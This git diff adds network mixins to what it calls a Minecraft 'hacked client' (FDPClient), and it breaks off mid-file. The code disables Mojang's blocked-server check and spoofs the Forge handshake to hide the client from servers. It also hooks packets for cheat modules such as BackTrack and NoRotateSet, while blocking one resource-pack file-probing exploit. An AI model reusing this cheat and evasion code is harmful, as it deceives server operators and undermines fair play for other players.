a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinBlockedServers.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinBlockedServers.java new file mode 100644 index 0000000..f8b3992 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinBlockedServers.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import com.mojang.patchy.BlockedServers; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; + +@Mixin(BlockedServers.class) +public abstract class MixinBlockedServers { + /** + * @author koitoyuu + * @reason fucked server limit. + */ + @Overwrite + public static boolean isBlockedServer(String server) { + return false; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinC00Handshake.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinC00Handshake.java new file mode 100644 index 0000000..3d5dfb8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinC00Handshake.java @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import net.ccbluex.liquidbounce.handler.network.ClientSpoof; +import net.minecraft.client.Minecraft; +import net.minecraft.network.EnumConnectionState; +import net.minecraft.network.handshake.client.C00Handshake; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.Constant; +import org.spongepowered.asm.mixin.injection.ModifyConstant; + +@Mixin(C00Handshake.class) +public class MixinC00Handshake { + + @Shadow + public int port; + @Shadow + public String ip; + @Shadow + private int protocolVersion; + @Shadow + private EnumConnectionState requestedState; + + /** + * @author CCBlueX + */ + @ModifyConstant(method = "writePacketData", constant = @Constant(stringValue = "\u0000FML\u0000")) + private String injectAntiForge(String constant) { + return ClientSpoof.enabled && !Minecraft.getMinecraft().isIntegratedServerRunning() ? "" : "\u0000FML\u0000"; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinC17PacketCustomPayload.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinC17PacketCustomPayload.java new file mode 100644 index 0000000..ea8d327 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinC17PacketCustomPayload.java @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import net.minecraft.network.PacketBuffer; +import net.minecraft.network.play.INetHandlerPlayServer; +import net.minecraft.network.play.client.C17PacketCustomPayload; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(C17PacketCustomPayload.class) +public class MixinC17PacketCustomPayload { + @Shadow + private PacketBuffer data; + + @Inject(method = "processPacket(Lnet/minecraft/network/play/INetHandlerPlayServer;)V", at = @At("TAIL")) + private void releaseData(INetHandlerPlayServer handler, CallbackInfo ci) { + if (this.data != null) { + this.data.release(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java new file mode 100644 index 0000000..60faa05 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java @@ -0,0 +1,356 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import io.netty.buffer.Unpooled; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.EntityDamageEvent; +import net.ccbluex.liquidbounce.event.PacketEvent; +import net.ccbluex.liquidbounce.features.module.modules.exploit.PackSpoofer; +import net.ccbluex.liquidbounce.features.module.modules.other.NoRotateSet; +import net.ccbluex.liquidbounce.features.module.modules.other.SilentDisconnect; +import net.ccbluex.liquidbounce.handler.network.ClientFixes; +import net.ccbluex.liquidbounce.utils.BlinkUtils; +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.ccbluex.liquidbounce.utils.TransferUtils; +import net.minecraft.client.ClientBrandRetriever; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.multiplayer.PlayerControllerMP; +import net.minecraft.client.multiplayer.WorldClient; +import net.minecraft.client.network.NetHandlerPlayClient; +import net.minecraft.client.resources.I18n; +import net.minecraft.entity.Entity; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.inventory.Container; +import net.minecraft.network.NetworkManager; +import net.minecraft.network.PacketBuffer; +import net.minecraft.network.PacketThreadUtil; +import net.minecraft.network.play.client.C03PacketPlayer; +import net.minecraft.network.play.client.C17PacketCustomPayload; +import net.minecraft.network.play.client.C19PacketResourcePackStatus; +import net.minecraft.network.play.server.*; +import net.minecraft.util.IChatComponent; +import net.minecraft.world.Explosion; +import net.minecraft.world.WorldSettings; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.ModifyArg; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.LocalCapture; + +import java.io.File; +import java.net.URI; +import java.net.URISyntaxException; + +import static net.ccbluex.liquidbounce.script.api.global.Chat.alert; + +@Mixin(NetHandlerPlayClient.class) +public abstract class MixinNetHandlerPlayClient { + + @Shadow + @Final + private NetworkManager netManager; + + @Shadow + private Minecraft gameController; + + @Shadow + private WorldClient clientWorldController; + + @Shadow + public int currentServerMaxPlayers; + + @Shadow + public abstract void handleEntityVelocity(S12PacketEntityVelocity packetIn); + + @Shadow + private boolean doneLoadingTerrain; + + public boolean silentConfirm = false; + + @Inject(method = "handleResourcePack", at = @At("HEAD"), cancellable = true) + private void handleResourcePack(final S48PacketResourcePackSend p_handleResourcePack_1_, final CallbackInfo callbackInfo) { + final String url = p_handleResourcePack_1_.getURL(); + final String hash = p_handleResourcePack_1_.getHash(); + + final PackSpoofer ps = FDPClient.moduleManager.getModule(PackSpoofer.class); + + if (ClientFixes.blockResourcePackExploit) { + try { + final String scheme = new URI(url).getScheme(); + final boolean isLevelProtocol = "level".equals(scheme); + + if(!"http".equals(scheme) && !"https".equals(scheme) && !isLevelProtocol) + throw new URISyntaxException(url, "Wrong protocol"); + + if(isLevelProtocol && (url.contains("..") || !url.endsWith(".zip"))) { + String s2 = url.substring("level://".length()); + File file1 = new File(this.gameController.mcDataDir, "saves"); + File file2 = new File(file1, s2); + + if (file2.isFile() && !url.toLowerCase().contains("fdpclient")) { + netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.ACCEPTED)); + netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.SUCCESSFULLY_LOADED)); + } else { + netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD)); + } + + if (ps.getState() && ps.getNotifyValue().get()) { + alert("§7[§b!§7] §b§lFDPCLIENT §c» §6Resourcepack exploit detected."); + alert("§7[§b!§7] §b§lFDPCLIENT §c» §7Exploit target directory: §r" + url); + + throw new IllegalStateException("Invalid levelstorage resourcepack path"); + } else { + callbackInfo.cancel(); // despite not having it enabled we still prevents anything from illegally checking files in your computer. + } + + } + } catch (final URISyntaxException e) { + alert("Failed to handle resource pack"); + netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD)); + callbackInfo.cancel(); + } catch (final IllegalStateException e) { + alert("Failed to handle resource pack"); + callbackInfo.cancel(); + } + } + } + + + @Inject(method = "handleEntityStatus", at = @At("HEAD")) + public void handleDamagePacket(S19PacketEntityStatus packetIn, CallbackInfo callbackInfo) { + if (packetIn.getOpCode() == 2) { + Entity entity = packetIn.getEntity(this.clientWorldController); + if (entity != null) { + FDPClient.eventManager.callEvent(new EntityDamageEvent(entity)); + if (entity instanceof EntityPlayer) + FDPClient.hud.handleDamage((EntityPlayer) entity); + } + } + } + + @Inject(method = "handleJoinGame", at = @At("HEAD"), cancellable = true) + private void handleJoinGameWithAntiForge(S01PacketJoinGame packetIn, final CallbackInfo callbackInfo) { + if (!ClientFixes.INSTANCE.getEnabled() || !ClientFixes.INSTANCE.getBlockFML() || Minecraft.getMinecraft().isIntegratedServerRunning()) + return; + + PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, this.gameController); + this.gameController.playerController = new PlayerControllerMP(this.gameController, (NetHandlerPlayClient) (Object) this); + this.clientWorldController = new WorldClient((NetHandlerPlayClient) (Object) this, new WorldSettings(0L, packetIn.getGameType(), false, packetIn.isHardcoreMode(), packetIn.getWorldType()), packetIn.getDimension(), packetIn.getDifficulty(), this.gameController.mcProfiler); + this.gameController.gameSettings.difficulty = packetIn.getDifficulty(); + this.gameController.loadWorld(this.clientWorldController); + this.gameController.thePlayer.dimension = packetIn.getDimension(); + this.gameController.displayGuiScreen(null); + this.gameController.thePlayer.setEntityId(packetIn.getEntityId()); + this.currentServerMaxPlayers = packetIn.getMaxPlayers(); + this.gameController.thePlayer.setReducedDebug(packetIn.isReducedDebugInfo()); + this.gameController.playerController.setGameType(packetIn.getGameType()); + this.gameController.gameSettings.sendSettingsToServer(); + this.netManager.sendPacket(new C17PacketCustomPayload("MC|Brand", (new PacketBuffer(Unpooled.buffer())).writeString(ClientBrandRetriever.getClientModName()))); + callbackInfo.cancel(); + } + + /** + * @author liulihaocai + * Fixed by Co Dynamic + * @reason Convert Explosion to Velocity + */ + @Overwrite + public void handleExplosion(S27PacketExplosion packetIn) { + PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, this.gameController); + Explosion explosion = new Explosion(this.gameController.theWorld, null, packetIn.getX(), packetIn.getY(), packetIn.getZ(), packetIn.getStrength(), packetIn.getAffectedBlockPositions()); + explosion.doExplosionB(true); + // convert it to velocity packet + // ONLY when it's a valid explosion (in affected range) + if (!(Math.abs(packetIn.func_149149_c() * 8000.0) < 0.0001 && Math.abs(packetIn.func_149144_d() * 8000.0) < 0.0001 && Math.abs(packetIn.func_149147_e() * 8000.0) < 0.0001)) { + S12PacketEntityVelocity packet = new S12PacketEntityVelocity(this.gameController.thePlayer.getEntityId(), + (this.gameController.thePlayer.motionX + packetIn.func_149149_c()) * 8000.0, + (this.gameController.thePlayer.motionY + packetIn.func_149144_d()) * 8000.0, + (this.gameController.thePlayer.motionZ + packetIn.func_149147_e()) * 8000.0); + PacketEvent packetEvent = new PacketEvent(packet, PacketEvent.Type.RECEIVE); + FDPClient.eventManager.callEvent(packetEvent); + if (!packetEvent.isCancelled()) { + handleEntityVelocity(packet); + } + } + } + + @Inject(method = "onDisconnect", at = @At("HEAD"), cancellable = true) + private void onDisconnect(IChatComponent reason, CallbackInfo callbackInfo) { + BlinkUtils.INSTANCE.setBlinkState(); + if(this.gameController.theWorld != null && this.gameController.thePlayer != null + && FDPClient.moduleManager.getModule(SilentDisconnect.class).getState()) { + ClientUtils.INSTANCE.displayAlert(I18n.format("disconnect.lost") + ":"); + ClientUtils.INSTANCE.displayChatMessage(reason.getFormattedText()); + callbackInfo.cancel(); + } + } + + @ModifyArg(method={"handleJoinGame", "handleRespawn"}, at=@At(value="INVOKE", target="Lnet/minecraft/client/Minecraft;displayGuiScreen(Lnet/minecraft/client/gui/GuiScreen;)V")) + private GuiScreen handleJoinGame(GuiScreen guiScreen) { + return null; + } + + @Inject(method={"handleAnimation"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleAnimation(S0BPacketAnimation s0BPacketAnimation, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleEntityTeleport"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleEntityTeleport(S18PacketEntityTeleport s18PacketEntityTeleport, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleEntityMovement"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleEntityMovement(S14PacketEntity s14PacketEntity, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleEntityHeadLook"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleEntityHeadLook(S19PacketEntityHeadLook s19PacketEntityHeadLook, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleEntityProperties"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleEntityProperties(S20PacketEntityProperties s20PacketEntityProperties, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleEntityMetadata"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleEntityMetadata(S1CPacketEntityMetadata s1CPacketEntityMetadata, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleEntityEquipment"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleEntityEquipment(S04PacketEntityEquipment s04PacketEntityEquipment, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleDestroyEntities"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleDestroyEntities(S13PacketDestroyEntities s13PacketDestroyEntities, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleScoreboardObjective"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V", shift=At.Shift.AFTER)}, cancellable=true) + private void handleScoreboardObjective(S3BPacketScoreboardObjective s3BPacketScoreboardObjective, CallbackInfo callbackInfo) { + this.cancelIfNull(this.clientWorldController, callbackInfo); + } + + @Inject(method={"handleConfirmTransaction"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/play/server/S32PacketConfirmTransaction;getWindowId()I", ordinal=0)}, cancellable=true, locals=LocalCapture.CAPTURE_FAILEXCEPTION) + private void handleConfirmTransaction(S32PacketConfirmTransaction s32PacketConfirmTransaction, CallbackInfo callbackInfo, Container container, EntityPlayer entityPlayer) { + this.cancelIfNull(entityPlayer, callbackInfo); + } + + @Inject(method={"handleSoundEffect"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V")}, cancellable=true) + private void handleSoundEffect(S29PacketSoundEffect s29PacketSoundEffect, CallbackInfo callbackInfo) { + this.cancelIfNull(this.gameController.theWorld, callbackInfo); + } + + @Inject(method={"handleTimeUpdate"}, at={@At(value="INVOKE", target="Lnet/minecraft/network/PacketThreadUtil;checkThreadAndEnqueue(Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V")}, cancellable=true) + private void handleTimeUpdate(S03PacketTimeUpdate s03PacketTimeUpdate, CallbackInfo callbackInfo) { + this.cancelIfNull(this.gameController.theWorld, callbackInfo); + } + + /** + * @author Co Dynamic + * @reason NoRotateSet / S08 Silent Confirm + */ + @Overwrite + public void handlePlayerPosLook(S08PacketPlayerPosLook packetIn) { + final NoRotateSet noRotateSet = FDPClient.moduleManager.getModule(NoRotateSet.class); + PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, this.gameController); + EntityPlayer entityplayer = this.gameController.thePlayer; + double d0 = packetIn.getX(); + double d1 = packetIn.getY(); + double d2 = packetIn.getZ(); + float f = packetIn.getYaw(); + float f1 = packetIn.getPitch(); + + if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.X)) { + d0 += entityplayer.posX; + } else { + if (!TransferUtils.INSTANCE.getNoMotionSet()) { + entityplayer.motionX = 0.0D; + } + } + + if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.Y)) { + d1 += entityplayer.posY; + } else { + if (!TransferUtils.INSTANCE.getNoMotionSet()) { + entityplayer.motionY = 0.0D; + } + } + + if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.Z)) { + d2 += entityplayer.posZ; + } else { + if (!TransferUtils.INSTANCE.getNoMotionSet()) { + entityplayer.motionZ = 0.0D; + } + } + + TransferUtils.INSTANCE.setNoMotionSet(false); + + if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.X_ROT)) { + f1 += entityplayer.rotationPitch; + } + + if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.Y_ROT)) { + f += entityplayer.rotationYaw; + } + + float overwriteYaw = f; + float overwritePitch = f1; + + boolean flag = false; + + if (TransferUtils.INSTANCE.getSilentConfirm()) { + this.netManager.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(d0, d1, d2, f, f1, false)); + TransferUtils.INSTANCE.setSilentConfirm(false); + } else { + if (noRotateSet.getState()) { + if (!noRotateSet.getNoLoadingValue().get() || this.doneLoadingTerrain) { + flag = true; + if (!noRotateSet.getOverwriteTeleportValue().get()) { + overwriteYaw = entityplayer.rotationYaw; + overwritePitch = entityplayer.rotationPitch; + } + } + } + if (flag) { + if (noRotateSet.getRotateValue().get()) { + entityplayer.setPositionAndRotation(d0, d1, d2, entityplayer.rotationYaw, entityplayer.rotationPitch); + } else { + entityplayer.setPosition(d0, d1, d2); + } + } else { + entityplayer.setPositionAndRotation(d0, d1, d2, f, f1); + } + this.netManager.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(entityplayer.posX, entityplayer.getEntityBoundingBox().minY, entityplayer.posZ, overwriteYaw, overwritePitch, false)); + } + + if (!this.doneLoadingTerrain) + { + this.gameController.thePlayer.prevPosX = this.gameController.thePlayer.posX; + this.gameController.thePlayer.prevPosY = this.gameController.thePlayer.posY; + this.gameController.thePlayer.prevPosZ = this.gameController.thePlayer.posZ; + this.doneLoadingTerrain = true; + this.gameController.displayGuiScreen(null); + } + } + + private <T> void cancelIfNull(T t, CallbackInfo callbackInfo) { + if (t == null) { + callbackInfo.cancel(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java new file mode 100644 index 0000000..0dd5a05 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java @@ -0,0 +1,128 @@ + +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import com.google.common.util.concurrent.ThreadFactoryBuilder; +import io.netty.bootstrap.Bootstrap; +import io.netty.channel.*; +import io.netty.channel.oio.OioEventLoopGroup; +import io.netty.handler.timeout.ReadTimeoutHandler; +import net.ccbluex.liquidbounce.features.module.modules.client.HUD; +import net.ccbluex.liquidbounce.features.module.modules.combat.BackTrack; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.PacketEvent; +import net.ccbluex.liquidbounce.handler.network.ProxyManager; +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.minecraft.network.*; +import net.minecraft.util.MessageDeserializer; +import net.minecraft.util.MessageDeserializer2; +import net.minecraft.util.MessageSerializer; +import net.minecraft.util.MessageSerializer2; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.net.InetAddress; +import java.net.Proxy; + +@Mixin(NetworkManager.class) +public abstract class MixinNetworkManager { + + @Shadow + private Channel channel; + @Shadow + private INetHandler packetListener; + /** + * show player head in tab bar + * @author + * @reason + */ + @Overwrite + protected void channelRead0(ChannelHandlerContext p_channelRead0_1_, Packet p_channelRead0_2_) { + final PacketEvent event = new PacketEvent(p_channelRead0_2_,PacketEvent.Type.SEND); + BackTrack backTrack = FDPClient.moduleManager.getModule(BackTrack.class); + assert backTrack != null; + if (backTrack.getState()) { + try { + backTrack.onPacket(event); + } catch (Exception e) { + //Minecraft.logger.error("Exception caught in BackTrack", e); + } + } + FDPClient.eventManager.callEvent(event); + + if (event.isCancelled()) + return; + if (this.channel.isOpen()) { + try { + p_channelRead0_2_.processPacket(this.packetListener); + } catch (ThreadQuickExitException ignored) { + } + } + } + + @Inject(method = "sendPacket(Lnet/minecraft/network/Packet;)V", at = @At("HEAD"), cancellable = true) + private void send(Packet<?> packet, CallbackInfo callback) { + final PacketEvent event = new PacketEvent(packet,PacketEvent.Type.SEND); + BackTrack backTrack = FDPClient.moduleManager.getModule(BackTrack.class); + assert backTrack != null; + if (backTrack.getState()) { + try { + backTrack.onPacket(event); + } catch (Exception e) { + //Minecraft.logger.error("Exception caught in BackTrack", e); + } + } + FDPClient.eventManager.callEvent(event); + + if(event.isCancelled()) { + callback.cancel(); + } + } + + @Inject(method = "createNetworkManagerAndConnect", at = @At("HEAD"), cancellable = true) + private static void createNetworkManagerAndConnect(InetAddress address, int serverPort, boolean useNativeTransport, CallbackInfoReturnable<NetworkManager> cir) { + if(!ProxyManager.INSTANCE.isEnable()) { + return; + } + final NetworkManager networkmanager = new NetworkManager(EnumPacketDirection.CLIENTBOUND); + + Bootstrap bootstrap = new Bootstrap(); + + EventLoopGroup eventLoopGroup; + Proxy proxy = ProxyManager.INSTANCE.getProxyInstance(); + eventLoopGroup = new OioEventLoopGroup(0, (new ThreadFactoryBuilder()).setNameFormat("Netty Client IO #%d").setDaemon(true).build()); + bootstrap.channelFactory(new ProxyManager.ProxyOioChannelFactory(proxy)); + + bootstrap.group(eventLoopGroup).handler(new ChannelInitializer<Channel>() { + protected void initChannel(Channel channel) { + ClientUtils.INSTANCE.logWarn("ILLEGAL CHANNEL INITIALIZATION: This should be patched to net/minecraft/network/NetworkManager$5!"); + try { + channel.config().setOption(ChannelOption.TCP_NODELAY, true); + } catch (ChannelException var3) { + var3.printStackTrace(); + } + channel.pipeline().addLast("timeout", new ReadTimeoutHandler(30)).addLast("splitter", new MessageDeserializer2()).addLast("decoder", new MessageDeserializer(EnumPacketDirection.CLIENTBOUND)).addLast("prepender", new MessageSerializer2()).addLast("encoder", new MessageSerializer(EnumPacketDirection.SERVERBOUND)).addLast("packet_handler", networkmanager); + } + }); + + bootstrap.connect(address, serverPort).syncUninterruptibly(); + + cir.setReturnValue(networkmanager); + cir.cancel(); + } + /** + * show player head in tab bar + * @author Liulihaocai, FDPClient + */ + @Inject(method = "getIsencrypted", at = @At("HEAD"), cancellable = true) + private void injectEncryption(CallbackInfoReturnable<Boolean> cir) { + final HUD hud = FDPClient.moduleManager.getModule(HUD.class); + if(hud != null && hud.getTabHead().get()) { + cir.setReturnValue(true); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManagerChInit.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManagerChInit.java new file mode 100644 index 0000000..5ee4a3b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManagerChInit.java @@ -0,0 +1,33 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.handler.CommonTransformer; +import cc.paimonmc.viamcp.handler.MCPDecodeHandler; +import cc.paimonmc.viamcp.handler.MCPEncodeHandler; +import com.viaversion.viaversion.api.connection.UserConnection; +import com.viaversion.viaversion.connection.UserConnectionImpl; +import com.viaversion.viaversion.protocol.ProtocolPipelineImpl; +import io.netty.channel.Channel; +import io.netty.channel.socket.SocketChannel; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(targets = "net.minecraft.network.NetworkManager$5") +public abstract class MixinNetworkManagerChInit { + + @Inject(method={"initChannel"}, at={@At(value="TAIL")}, remap=false) + private void onInitChannel(Channel p_initChannel_1_, CallbackInfo callbackInfo) { + if (p_initChannel_1_ instanceof SocketChannel && ViaMCP.getInstance().getVersion() != ViaMCP.PROTOCOL_VERSION) { + UserConnection user = new UserConnectionImpl(p_initChannel_1_, true); + new ProtocolPipelineImpl(user); + p_initChannel_1_.pipeline().addBefore("encoder", CommonTransformer.HANDLER_ENCODER_NAME, new MCPEncodeHandler(user)).addBefore("decoder", CommonTransformer.HANDLER_DECODER_NAME, new MCPDecodeHandler(user)); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkPlayerInfo.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkPlayerInfo.java new file mode 100644 index 0000000..aa350fe --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkPlayerInfo.java @@ -0,0 +1,37 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import com.mojang.authlib.GameProfile; +import net.ccbluex.liquidbounce.features.module.modules.other.NameProtect; +import net.minecraft.client.network.NetworkPlayerInfo; +import net.minecraft.client.resources.DefaultPlayerSkin; +import net.minecraft.util.ResourceLocation; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.Objects; + +import static net.ccbluex.liquidbounce.utils.MinecraftInstance.mc; + +@Mixin(NetworkPlayerInfo.class) +public class MixinNetworkPlayerInfo { + @Shadow + @Final + private GameProfile gameProfile; + + @Inject(method = "getLocationSkin", cancellable = true, at = @At("HEAD")) + private void injectSkinProtect(CallbackInfoReturnable<ResourceLocation> cir) { + final NameProtect nameProtect = NameProtect.INSTANCE; + + if (nameProtect.handleEvents() && nameProtect.getSkinProtect().get()) { + if (nameProtect.getAllPlayers().get() || Objects.equals(gameProfile.getId(), mc.getSession().getProfile().getId())) { + cir.setReturnValue(DefaultPlayerSkin.getDefaultSkin(gameProfile.getId())); + cir.cancel(); + } + } + + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinS3FPacketCustomPayload.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinS3FPacketCustomPayload.java new file mode 100644 index 0000000..102dbc1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinS3FPacketCustomPayload.java @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.network; + +import net.minecraft.network.PacketBuffer; +import net.minecraft.network.play.INetHandlerPlayClient; +import 